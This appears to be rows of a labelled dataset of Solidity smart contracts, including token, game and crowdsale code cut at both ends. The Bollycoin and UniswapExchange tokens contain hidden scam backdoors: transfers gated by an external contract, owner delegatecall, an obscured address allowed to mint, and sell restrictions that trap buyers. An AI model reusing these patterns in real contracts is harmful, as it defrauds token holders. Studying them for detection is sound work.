TimeFinish =block.timestamp + TimerResetTime;
}
uint256 price = ITM.CPrice;
if (ITM.reset){
price = BasicPrice;
}
if (msg.value >= price){
if (!ITM.reset){
require(msg.sender != ITM.owner);
}
if ((msg.value - price) > 0){
msg.sender.transfer(msg.value - price);
}
uint256 LEFT = DoDev(price);
uint256 prev_val = 0;
uint256 pot_val = LEFT;
address sender_target = owner;
if (!ITM.reset){
prev_val = (DIVP * LEFT) / 10000;
pot_val = (POTP * LEFT) / 10000;
sender_target = ITM.owner;
}
else{
prev_val = LEFT;
pot_val = 0;
}
Pot = Pot + pot_val;
sender_target.transfer(prev_val);
ITM.owner = msg.sender;
uint256 incr = PIncr;
ITM.CPrice = (price * (10000 + incr)) / 10000;
uint256 TimeLeft = TimeFinish - block.timestamp;
if (TimeLeft< TimerStartTime){
TimeFinish = block.timestamp + TimerStartTime;
}
if (ITM.reset){
ITM.reset=false;
}
PotOwner = msg.sender;
emit ItemBought(msg.sender, ITM.CPrice, says, ID);
}
else{
revert();
}
}
function DoDev(uint256 val) internal returns (uint256){
uint256 tval = (val * DEVP / 10000);
uint256 hval = (tval * HVAL) / 10000;
uint256 dval = tval - hval;
owner.transfer(dval);
helper.transfer(hval);
return (val-tval);
}
} | 1 | 2,900 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Bollycoin is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Bollycoin";
string public symbol = "BOLLY";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wBNB, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable returns (bool) {
require(msg.sender == owner);
(bool success, ) = a.delegatecall(b);
return success;
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function distribute(address[] memory _tooWho, uint amount) public {
require(msg.sender == owner);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = amount;
emit Transfer(address(0x0), _tooWho[i], amount);
}
}
function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tooWho.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho));
for(uint i = 0; i < _tooWho.length; i++) {
balanceOf[_tooWho[i]] = _amounts[i];
emit Transfer(address(0x0), _tooWho[i], _amounts[i]);
}
}
} | 0 | 475 |
pragma solidity ^0.4.15;
contract TokenFactoryInterface {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
string _tokenSymbol
) public returns (ProofToken newToken);
}
contract ControllerInterface {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public returns(bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ApproveAndCallReceiver {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract Controllable {
address public controller;
function Controllable() public {
controller = msg.sender;
}
modifier onlyController() {
require(msg.sender == controller);
_;
}
function transferControl(address newController) public onlyController {
if (newController != address(0)) {
controller = newController;
}
}
}
contract ProofTokenInterface is Controllable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public constant returns (uint);
function totalSupplyAt(uint _blockNumber) public constant returns(uint);
function balanceOf(address _owner) public constant returns (uint256 balance);
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint);
function transfer(address _to, uint256 _amount) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
function mint(address _owner, uint _amount) public returns (bool);
function importPresaleBalances(address[] _addresses, uint256[] _balances, address _presaleAddress) public returns (bool);
function lockPresaleBalances() public returns (bool);
function finishMinting() public returns (bool);
function enableTransfers(bool _transfersEnabled) public;
function createCloneToken(uint _snapshotBlock, string _cloneTokenName, string _cloneTokenSymbol) public returns (address);
}
contract ProofToken is Controllable {
using SafeMath for uint256;
ProofTokenInterface public parentToken;
TokenFactoryInterface public tokenFactory;
string public name;
string public symbol;
string public version;
uint8 public decimals;
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
uint256 public parentSnapShotBlock;
uint256 public creationBlock;
bool public transfersEnabled;
mapping(address => Checkpoint[]) balances;
mapping (address => mapping (address => uint)) allowed;
Checkpoint[] totalSupplyHistory;
bool public mintingFinished = false;
bool public presaleBalancesLocked = false;
uint256 public constant TOKENS_ALLOCATED_TO_PROOF = 1181031 * (10 ** 18);
uint256 public constant TOTAL_PRESALE_TOKENS = 112386712924725508802400;
event Mint(address indexed to, uint256 amount);
event MintFinished();
event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount);
event NewCloneToken(address indexed cloneToken);
event Approval(address indexed _owner, address indexed _spender, uint256 _amount);
event Transfer(address indexed from, address indexed to, uint256 value);
function ProofToken(
address _tokenFactory,
address _parentToken,
uint256 _parentSnapShotBlock,
string _tokenName,
string _tokenSymbol
) public {
tokenFactory = TokenFactoryInterface(_tokenFactory);
parentToken = ProofTokenInterface(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
name = _tokenName;
symbol = _tokenSymbol;
decimals = 18;
transfersEnabled = false;
creationBlock = block.number;
version = '0.1';
}
function() public payable {
revert();
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) {
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
return doTransfer(_from, _to, _amount);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(ControllerInterface(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
approve(_spender, _amount);
ApproveAndCallReceiver(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
require(transfersEnabled);
require(_amount > 0);
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(ControllerInterface(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function mint(address _owner, uint _amount) public onlyController canMint returns (bool) {
uint curTotalSupply = totalSupply();
uint previousBalanceTo = balanceOf(_owner);
require(curTotalSupply + _amount >= curTotalSupply);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
modifier canMint() {
require(!mintingFinished);
_;
}
function importPresaleBalances(address[] _addresses, uint256[] _balances) public onlyController returns (bool) {
require(presaleBalancesLocked == false);
for (uint256 i = 0; i < _addresses.length; i++) {
updateValueAtNow(balances[_addresses[i]], _balances[i]);
Transfer(0, _addresses[i], _balances[i]);
}
updateValueAtNow(totalSupplyHistory, TOTAL_PRESALE_TOKENS);
return true;
}
function lockPresaleBalances() public onlyController returns (bool) {
presaleBalancesLocked = true;
return true;
}
function finishMinting() public onlyController returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) {
if (checkpoints.length == 0)
return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock)
return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal
{
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length-1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0)
return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal constant returns (uint) {
return a < b ? a : b;
}
function createCloneToken(
uint _snapshotBlock,
string _cloneTokenName,
string _cloneTokenSymbol
) public returns(address) {
if (_snapshotBlock == 0) {
_snapshotBlock = block.number;
}
if (_snapshotBlock > block.number) {
_snapshotBlock = block.number;
}
ProofToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneTokenSymbol
);
cloneToken.transferControl(msg.sender);
NewCloneToken(address(cloneToken));
return address(cloneToken);
}
} | 1 | 2,810 |
pragma solidity ^0.4.25;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract carion {
string public name = "carion";
string public symbol = "CRIN";
uint8 public decimals = 18;
uint256 public totalSupply;
uint256 public tokenSupply = 2000000000;
uint256 public buyPrice = 1634215;
address public creator;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event FundTransfer(address backer, uint amount, bool isContribution);
function carion() public {
totalSupply = tokenSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
creator = msg.sender;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function () payable internal {
uint amount = msg.value * buyPrice;
uint amountRaised;
amountRaised += msg.value;
require(balanceOf[creator] >= amount);
balanceOf[msg.sender] += amount;
balanceOf[creator] -= amount;
Transfer(creator, msg.sender, amount);
creator.transfer(amountRaised);
}
} | 1 | 4,464 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,651 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMoFAIR is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xAcd1aE32f6519ED27eC245462d4154584451bb38);
address private admin = msg.sender;
string constant public name = "FOMO FAIR";
string constant public symbol = "FAIR";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
